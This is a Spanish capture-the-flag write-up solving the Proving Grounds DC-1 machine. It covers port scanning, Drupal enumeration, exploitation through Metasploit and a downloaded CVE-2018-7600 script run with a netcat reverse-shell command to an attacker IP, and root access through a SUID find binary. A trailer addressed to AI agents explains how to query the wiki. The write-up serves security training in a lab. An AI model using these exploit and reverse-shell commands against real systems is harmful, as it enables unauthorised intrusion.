# DC-1

<figure><img src="/files/3EJkBOsOnp60OKUvN6Iv" alt=""><figcaption></figcaption></figure>

### Enumeración

#### NMAP

Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.&#x20;

```
nmap -p- --open -vvv -Pn -n --min-rate 2000 192.168.69.193
```

<figure><img src="/files/5h7Or3jtU7e8XFenknqh" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/B17JsUIxZVl0qGjg0Cad" alt=""><figcaption></figcaption></figure>

Están abiertos los puertos 22,80,111 y 57092 TCP en la máquina objetivo. El siguiente paso es realizar un escaneo más profundo únicamente de los servicios abiertos.&#x20;

```
nmap -p22,80,111,57092 -sVC -vv -Pn -n 192.168.69.193
```

<figure><img src="/files/qVmajabLFiulBNaArY1S" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/sslMO0fWYyqF7R09Xly5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0kIOJ8ZY20PAhhlzFMnr" alt=""><figcaption></figcaption></figure>

Tres servicios abiertos:

* Puerto 22 -> OpenSSH 6.0p1&#x20;
* Puerto 80 -> Apache httpd 2.2.22
* Puerto 111 -> rpcbind
* Puerto 57092 -> ??

#### Enumeración web

Tenemos disponible un servidor Web en el puerto 80. Vamos a ver el contenido en el navegador.&#x20;

<figure><img src="/files/gSGiXKqoteKBa4ebRZQt" alt=""><figcaption></figcaption></figure>

Tenemos un sitio Web que utiliza el CMS Drupal. Probamos una serie de credenciales básicas por defecto pero no logramos acceso. Vamos a utilizar la aplicación "droopescan" para enumerar información interesante. Al mismo tiempo ejecutamos dirsearch para enumerar los directorios existentes en el sitio Web.&#x20;

```
dirsearch -u http://192.168.69.193 -i200,301
```

<figure><img src="/files/LUQ9XUH5PMww2QJhSo0F" alt=""><figcaption></figcaption></figure>

Abrimos los diferentes archivos encontrados pero en ninguno de ellos encontramos información interesante.&#x20;

Vamos instalar droopescan.&#x20;

```
git clone https://github.com/droope/droopescan.git
cd droopescan
pip3 install -r requirements.txt
./droopescan scan --help
```

Una vez instalado, vamos a escanear el sitio Web buscando información que nos permita seguir avanzando en la resolución del CTF.&#x20;

```
droopescan scan drupal -u 192.168.69.193
```

<figure><img src="/files/VLigzk3MIEotFd9ubNfE" alt=""><figcaption></figcaption></figure>

Tenemos las versiones posibles del CMS. Con esta información podemos buscar si existen exploits que nos permitan elevar privilegios. Para ello, utilizamos Searchsploit.

### Conexión como usuario www-data (con Metasploit)

```
searchsploit drupal "< 7.31"
```

<figure><img src="/files/0ibeSXLiYqikqWr5s0Lb" alt=""><figcaption></figcaption></figure>

La información devuelta por searchsploit indica que la versión de Drupal que estamos intentando vulnerar, tiene un fallo de RCE. Vamos a buscar este módulo en Metasploit.&#x20;

<figure><img src="/files/5hsZn1AEP7SXJsEUSNdD" alt=""><figcaption></figcaption></figure>

Configuramos el exploit.

<figure><img src="/files/m7027JWAmcl5pZNMqV95" alt=""><figcaption></figcaption></figure>

Y lanzamos el exploit

<figure><img src="/files/rmqzvXiNw9jTxB7gY0br" alt=""><figcaption></figcaption></figure>

Y ya estariamos conectados a la máquina víctima. El siguiente paso será la búsqueda de la flag.&#x20;

<figure><img src="/files/Gh7xTwrljlrt58j0BmKv" alt=""><figcaption><p>Flag local.txt</p></figcaption></figure>

### Conexión como usuario www-data (sin Metasploit)

Otra cosa que podemos hacer si no queremos utilizar Metasploit, es buscar la existencia de CVEs. Nos vamos al navegador y buscamos la versión de Drupal que tenemos entre manos. Encontramos el [CVE-2018-7600](https://github.com/Jack-Barradell/exploits/blob/master/CVE-2018-7600/cve-2018-7600-drupal7.py). Vamos a descargarlo y a probar con él.&#x20;

```
#Para descargar
wget https://raw.githubusercontent.com/Jack-Barradell/exploits/master/CVE-2018-7600/cve-2018-7600-drupal7.py

#Para ejecutar
python3 cve-2018-7600-drupal7.py -t 192.168.241.193 -c "nc 192.168.49.241 4444 -e /bin/bash"
```

Ejecutaremos el exploit como se indica anteriormente y al mismo tiempo debemos poner a la escucha un oyente en el puerto 4444.

<figure><img src="/files/DuGQe1Ye6GFZiXQWCNFu" alt=""><figcaption></figcaption></figure>

Ya tendriamos conexión a la máquina víctima otra vez, en esta ocasión utilizando un CVE-2018-7600.

### Elevación de privilegios

El primer paso será aplicar el tratamiento de la tty para facilitar un poco el trabajo de la elevación de privilegios.&#x20;

```
python -c "import pty;pty.spawn('/bin/bash')"
```

Esta parte la realizaremos de dos manera, utilizando Linpeas y utilizando comandos manuales de búsqueda de archivos que puedan ser potencialmente vulnerables.

#### Utilizando Linpeas

Deberemos descargar y enviar a la máquina víctima un binario de Linpeas. Vamos a ello.&#x20;

Descargamos Linpeas desde [aquí](https://github.com/carlospolop/PEASS-ng/releases/tag/20221204). Una vez descargado, haremos uso de un servidor http montado con Python para transferir el archivo a la máquina víctima.&#x20;

<figure><img src="/files/K5mm8SQXIpTfR7ueowVb" alt=""><figcaption><p>Servidor creado en el directorio de la máquina atacante</p></figcaption></figure>

Ahora en la máquina víctima "transferimos" el archivo de Linpeas.&#x20;

<figure><img src="/files/v21YUjTLCmSNEnatTM37" alt=""><figcaption></figcaption></figure>

El siguiente paso será dar privilegios de uso a Linpeas y ejecutar.&#x20;

<figure><img src="/files/NDR7xlUX2B9vIQIPlaJF" alt=""><figcaption></figcaption></figure>

Después de ejecutar durante un momento, obtenemos resultados que nos pueden ser de utilidad.&#x20;

<figure><img src="/files/s54q1X9zz1fg1Ygz4Hyg" alt=""><figcaption><p>El binario find dispone del bit SUID</p></figcaption></figure>

En el siguiente apartado mostraremos como explotar esta vulnerabilidad.&#x20;

#### De forma manual

Lo primero que debemos comprobar es si podemos elevar privilegios a través de sudo.&#x20;

<figure><img src="/files/mPzcbSTOizwgmfrAOU6v" alt=""><figcaption></figcaption></figure>

Sudo no está disponible en la máquina víctima. Pasamos a comprobar los binarios SUID. Esto lo hacemos de la siguiente manera:

```
find / -perm -u=s -type f 2>/dev/null
```

<figure><img src="/files/C52rj16HWBK0DqNcX0wV" alt=""><figcaption></figcaption></figure>

find dispone de un bit SUID, así que será nuestro punto de partida para la elevación de privilegios. Creamos un archivo exploit que posteriormente, ejecutaremos con find como se muestra en la imagen.&#x20;

<figure><img src="/files/sLqoyDkw6WtVquWDD7wa" alt=""><figcaption></figcaption></figure>

Y ya seriamos usuario con máximos privilegios. El siguiente paso, buscar la flag.&#x20;

<figure><img src="/files/tgSPJQFSrlSo5hgeiPKn" alt=""><figcaption><p>Flag proof.txt</p></figcaption></figure>

Y ya estaría resuelto el CTF DC-1 de Proving Grounds.&#x20;

{% embed url="<https://www.youtube.com/watch?v=r8D8ppbpIfo>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/dc-1.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
